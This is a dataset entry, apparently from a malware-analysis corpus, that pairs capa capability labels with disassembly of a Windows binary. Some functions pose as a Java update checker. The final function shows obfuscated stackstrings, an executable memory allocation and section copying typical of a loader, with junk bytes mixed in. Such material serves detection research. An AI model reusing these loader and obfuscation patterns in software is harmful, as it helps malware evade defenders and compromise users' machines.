joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010f6
Capabilities:
Accept command line arguments
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d430
push 0x40c066
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x82c
push ebx
push esi
push edi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [0x411e40], 0x410050
mov ebx, 0x411dd0
mov dword [0x411dc8], ebx
mov dword [0x411dd0], 0x84
mov dword [0x411e34], 0x300
push dword [ebp + 8]
push 0x411e58
push ebx
call fcn.004013e5
mov dword [ebp - 0x24], 1
and dword [ebp - 0x1c], 0
mov esi, 0x4100a4
lea edi, [ebp - 0x2c]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00401054
pop ecx
pop ecx
mov esi, eax
test esi, esi
je 0x4011d4
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
push str.UnregServer
push esi
call edi
test eax, eax
je 0x4011c7
push str.RegServer
push esi
call edi
test eax, eax
je 0x4011c7
push str.auto
push esi
call edi
test eax, eax
je 0x4011cd
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.00401054
pop ecx
pop ecx
mov esi, eax
test esi, esi
jne 0x40118f
jmp 0x4011d4
and dword [ebp - 0x24], 0
jmp 0x4011d4
and dword [0x4100a0], 0
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x401286
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], eax
push str.SunJavaUpdateCheckerMutex
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x401276
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401276
call fcn.0040a6c6
test eax, eax
jne 0x40126c
mov eax, dword [0x411dd8]
mov dword [ebp - 0x838], eax
mov edi, 0x400
push edi
lea ecx, [ebp - 0x830]
push ecx
push 0x72
push eax
mov esi, dword [sym.imp.USER32.dll_LoadStringA]
call esi
mov eax, dword [0x411dd8]
mov dword [ebp - 0x83c], eax
push edi
lea ecx, [ebp - 0x430]
push ecx
push 0x75
push eax
call esi
push 0x10
lea eax, [ebp - 0x830]
push eax
lea eax, [ebp - 0x430]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x1c], 0x80004005
jmp 0x40127d
call fcn.00401095
mov dword [ebp - 0x1c], eax
jmp 0x40127d
mov dword [ebp - 0x1c], 0x64
or dword [ebp - 4], 0xffffffff
call fcn.004012ab
push ebx
call fcn.00401468
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x407bff
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
mov dword [esi + 0xc], 0xbc2
mov eax, dword [0x411dd4]
push ebx
push 1
push ebx
mov dword [esi + 0x18], eax
call edi
push ebx
push ebx
push 1
push ebx
mov dword [esi + 0x20], eax
call edi
push ebx
push ebx
push 1
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x34], eax
call fcn.0040969f
push dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [esi + 0x38], eax
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x34]
call edi
lea eax, [ebp + 8]
push eax
push ebx
push esi
push 0x40838c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x20]
call edi
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
Function at 0x408a42
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x40c754
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x14
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x20]
mov edi, 0x20019
push eax
push edi
push ebx
push 0x410830
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 4], 3
mov dword [ebp - 0x20], ebx
call esi
cmp eax, ebx
jne 0x408aeb
lea ecx, [ebp - 0x1c]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x1c], ecx
jne 0x408aeb
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
push ebx
push 0x41083c
push ecx
call esi
cmp eax, ebx
jne 0x408aeb
lea ecx, [ebp - 0x10]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x10], ecx
jne 0x408aeb
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
push ebx
push 0x410848
push ecx
call esi
cmp eax, ebx
jne 0x408aeb
lea ecx, [ebp - 0x18]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x18], ecx
je 0x408b1f
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.0040a747
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.0040a747
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.0040a747
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040a747
jmp 0x408bbf
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
push ebx
push 0x410854
push ecx
call esi
cmp eax, ebx
jne 0x408b46
lea ecx, [ebp - 0x14]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x14], ecx
je 0x408b69
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.0040a747
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.0040a747
cmp dword [ebp - 0x10], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x408bab
lea eax, [ebp + 0xc]
mov dword [ebp - 0x20], ebx
push eax
lea eax, [ebp - 0x20]
push dword [ebp + 8]
push eax
push ebx
push str.RunAtExactSchedule
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x408bc3
cmp dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x408b9b
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x18], ebx
je 0x408ba8
push dword [ebp - 0x18]
call esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x10], ebx
je 0x408bb5
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x1c], ebx
je 0x408bbf
push dword [ebp - 0x1c]
call esi
xor eax, eax
jmp 0x408bfd
cmp dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x408bd6
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x18], ebx
je 0x408be3
push dword [ebp - 0x18]
call esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x10], ebx
je 0x408bf0
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x1c], ebx
je 0x408bfa
push dword [ebp - 0x1c]
call esi
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x408f19
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
xor esi, esi
xor ebx, ebx
cmp dword [ebp + 0x10], esi
je 0x408f3c
lea eax, [ebp - 0x20]
push 0x1e
push eax
push esi
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetTimeFromSystemTime]
jmp 0x408f40
and byte [ebp - 0x20], 0
cmp dword [ebp + 8], esi
jne 0x408f56
lea eax, [ebp + 8]
push eax
call fcn.00408c0c
test eax, eax
pop ecx
je 0x408f8f
push 1
pop ebx
push edi
lea edi, [ebp - 0x20]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x20]
push ecx
push eax
push 1
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
pop edi
neg esi
sbb esi, esi
inc esi
test ebx, ebx
je 0x408f8d
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x409014
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push edi
and dword [ebp - 4], 0
push 0x25
xor eax, eax
pop ecx
lea edi, [ebp - 0x98]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
jne 0x4090ba
cmp dword [ebp - 0x94], 5
jne 0x4090ba
cmp dword [ebp - 0x90], 1
jae 0x4090b5
lea eax, [ebp - 0x84]
test eax, eax
je 0x4090a6
lea edi, [ebp - 0x84]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4090a6
lea edi, [ebp - 0x84]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4090a6
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x84]
push str.Service_Pack__d
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
add esp, 0xc
cmp dword [ebp - 0x90], 0
jne 0x4090ba
cmp dword [ebp - 4], 2
jb 0x4090ba
push 1
pop eax
jmp 0x4090bc
xor eax, eax
pop edi
leave
ret

Function at 0x4090bf
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push edi
push 0x25
pop ecx
xor eax, eax
lea edi, [ebp - 0x94]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x84], 2
pop edi
jne 0x40910b
cmp dword [ebp - 0x90], 5
jne 0x40910b
push 1
pop eax
cmp dword [ebp - 0x8c], eax
je 0x40910d
xor eax, eax
leave
ret
Function at 0x409b97
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x40c7fc
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x14
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x20]
mov edi, 0x20019
push eax
push edi
push ebx
push 0x410bdc
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 4], 3
mov dword [ebp - 0x20], ebx
call esi
cmp eax, ebx
jne 0x409c6b
lea ecx, [ebp - 0x1c]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x1c], ecx
jne 0x409c6b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
push ebx
push 0x410be8
push ecx
call esi
cmp eax, ebx
jne 0x409c6b
lea ecx, [ebp - 0x10]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x10], ecx
jne 0x409c6b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
push ebx
push 0x410bf4
push ecx
call esi
cmp eax, ebx
jne 0x409c6b
lea ecx, [ebp - 0x18]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x18], ecx
jne 0x409c6b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
push ebx
push 0x410c00
push ecx
call esi
cmp eax, ebx
jne 0x409c6b
lea ecx, [ebp - 0x14]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x14], ecx
je 0x409c9c
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.0040a747
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.0040a747
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.0040a747
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040a747
jmp 0x409d1a
lea eax, [ebp + 0xc]
mov dword [ebp - 0x20], ebx
push eax
lea eax, [ebp - 0x20]
push dword [ebp + 8]
push eax
push ebx
push 0x410c08
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
je 0x409cde
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.0040a747
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.0040a747
cmp dword [ebp - 0x10], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x409d06
cmp dword [ebp + 0xc], ebx
jne 0x409d21
cmp dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x409cf6
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x18], ebx
je 0x409d03
push dword [ebp - 0x18]
call esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x10], ebx
je 0x409d10
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x1c], ebx
je 0x409d1a
push dword [ebp - 0x1c]
call esi
mov eax, 0x80004005
jmp 0x409d5a
cmp dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x409d34
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x18], ebx
je 0x409d41
push dword [ebp - 0x18]
call esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x10], ebx
je 0x409d4e
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x1c], ebx
je 0x409d58
push dword [ebp - 0x1c]
call esi
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40a5c2
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.AllocateAndInitializeSid
push ebx
call esi
push str.OpenProcessToken
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.GetTokenInformation
push ebx
mov dword [ebp - 0x14], eax
call esi
push str.EqualSid
push ebx
mov edi, eax
call esi
push str.FreeSid
push ebx
mov dword [ebp - 0x18], eax
call esi
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xc]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea eax, [ebp - 0x24]
push 2
push eax
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x23], bl
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], 5
mov dword [ebp - 0xc], ebx
call dword [ebp - 0x10]
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x14]
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push ebx
push ebx
push 2
push dword [ebp - 8]
call edi
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
pop ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push 2
push dword [ebp - 8]
call edi
cmp dword [esi], ebx
jbe 0x40a69f
lea edi, [esi + 4]
push dword [edi]
push dword [ebp - 0xc]
call dword [ebp - 0x18]
test eax, eax
jne 0x40a69f
inc ebx
add edi, 8
cmp ebx, dword [esi]
jb 0x40a68b
xor eax, eax
cmp ebx, dword [esi]
push esi
setne al
mov edi, eax
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call dword [ebp - 0x1c]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ad0e
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x40c8d0
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x14
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x20]
push eax
push 0xf003f
push ebx
push 0x411b70
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 4], 3
mov dword [ebp - 0x20], ebx
call esi
cmp eax, ebx
jne 0x40adbb
lea ecx, [ebp - 0x1c]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x1c], ecx
jne 0x40adbb
lea eax, [ebp - 0x20]
mov edi, 0x20019
push eax
push edi
push ebx
push str.JavaSoft
push ecx
mov dword [ebp - 0x20], ebx
call esi
cmp eax, ebx
jne 0x40adbb
lea ecx, [ebp - 0x10]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x10], ecx
jne 0x40adbb
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
push ebx
push str.Java_Update
push ecx
call esi
cmp eax, ebx
jne 0x40adbb
lea ecx, [ebp - 0x18]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x18], ecx
je 0x40adef
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.0040a747
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.0040a747
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.0040a747
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040a747
jmp 0x40ae8f
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
push edi
push ebx
push str.Policy
push ecx
call esi
cmp eax, ebx
jne 0x40ae16
lea ecx, [ebp - 0x14]
call fcn.0040a747
mov ecx, dword [ebp - 0x20]
cmp eax, ebx
mov dword [ebp - 0x14], ecx
je 0x40ae39
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.0040a747
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.0040a747
cmp dword [ebp - 0x10], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40ae7b
lea eax, [ebp + 0xc]
mov dword [ebp - 0x20], ebx
push eax
lea eax, [ebp - 0x20]
push dword [ebp + 8]
push eax
push ebx
push str.UpdateServletURL
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40ae93
cmp dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x40ae6b
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x18], ebx
je 0x40ae78
push dword [ebp - 0x18]
call esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x10], ebx
je 0x40ae85
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x1c], ebx
je 0x40ae8f
push dword [ebp - 0x1c]
call esi
xor eax, eax
jmp 0x40aecd
cmp dword [ebp - 0x14], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x40aea6
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x18], ebx
je 0x40aeb3
push dword [ebp - 0x18]
call esi
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x10], ebx
je 0x40aec0
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x1c], ebx
je 0x40aeca
push dword [ebp - 0x1c]
call esi
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40aedc
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
push ebx
lea eax, [ebp - 4]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
lea eax, [ebp - 4]
push dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_localtime]
push eax
call dword [sym.imp.MSVCRT.dll_asctime]
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x408]
push str._s::__s_n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0xc08]
push eax
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0xc08]
push str.jusched.log
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0xc08]
push esi
push 0x80
push 4
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40af9f
push edi
push 2
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push esi
push eax
lea edi, [ebp - 0x408]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x408]
push ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4024a0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
xor ecx, ecx
test esi, esi
jbe 0x4024d5
push ebx
push edi
mov edi, dword [esp + 0x10]
xor edx, edx
mov ebx, eax
mov dl, byte [ecx + edi]
and ebx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x43c438]
xor eax, edx
inc ecx
cmp ecx, esi
jb 0x4024b3
pop edi
pop ebx
pop esi
ret

Function at 0x4024e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
push esi
xor esi, esi
test ebp, ebp
je 0x402558
push ebx
mov ebx, dword [esp + 0x10]
push edi
lea eax, [esp + 0x18]
push eax
push ebx
call fcn.00402560
mov edi, eax
mov eax, dword [esp + 0x20]
add esp, 8
cmp eax, ebp
jbe 0x40250e
mov dword [esp + 0x18], ebp
push ebx
call fcn.00402610
mov ecx, dword [esp + 0x1c]
add esp, 4
xor eax, eax
test ecx, ecx
jbe 0x402545
xor edx, edx
mov ebx, esi
mov dl, byte [eax + edi]
and ebx, 0xff
xor edx, ebx
shr esi, 8
mov edx, dword [edx*4 + 0x43c438]
xor esi, edx
inc eax
cmp eax, ecx
jb 0x402521
mov ebx, dword [esp + 0x14]
sub ebp, ecx
add ebx, ecx
test ebp, ebp
mov dword [esp + 0x14], ebx
jne 0x4024f2
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
ret
mov eax, esi
pop esi
pop ebp
ret

Function at 0x404150
Capabilities:
Hash data using crc32b

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, eax
dec eax
test ecx, ecx
je 0x404190
mov ecx, dword [esp + 8]
push esi
lea esi, [eax + 1]
mov eax, dword [esp + 8]
xor edx, edx
mov dl, byte [ecx]
shl edx, 0x18
xor eax, edx
inc ecx
mov edx, 8
test eax, 0x80000000
je 0x404186
add eax, eax
xor eax, 0x4c11db7
jmp 0x404188
shl eax, 1
dec edx
jne 0x404176
dec esi
jne 0x404167
pop esi
ret
mov eax, dword [esp + 4]
ret

Function at 0x4041e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
xor ecx, ecx
test esi, esi
jle 0x404216
mov eax, dword [esp + 8]
push ebx
push edi
mov edi, dword [esp + 0x14]
xor edx, edx
mov ebx, eax
mov dl, byte [ecx + edi]
shr ebx, 0x18
xor edx, ebx
shl eax, 8
mov edx, dword [edx*4 + 0x444650]
xor eax, edx
inc ecx
cmp ecx, esi
jl 0x4041f5
pop edi
pop ebx
pop esi
ret
mov eax, dword [esp + 8]
pop esi
ret
Function at 0x4098d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub eax, 0x119f45c6
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004094fa
push eax
push esi
push dword [ebp + 8]
call fcn.004094af
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004094fa
push eax
push esi
push dword [ebp + 8]
call fcn.004094af
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004094ea
out dx, al
fucomp st(3)
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.004094ea
out 0x9e, al
cmc
dec eax
lea eax, [ebp - 0x84]
push eax
call fcn.004094fa
push eax
push esi
push dword [ebp + 8]
call fcn.004094af
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x409ce3
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.0040945b
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x409a5a
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.0040945b
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x409a27
call fcn.004094ea
invalid
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret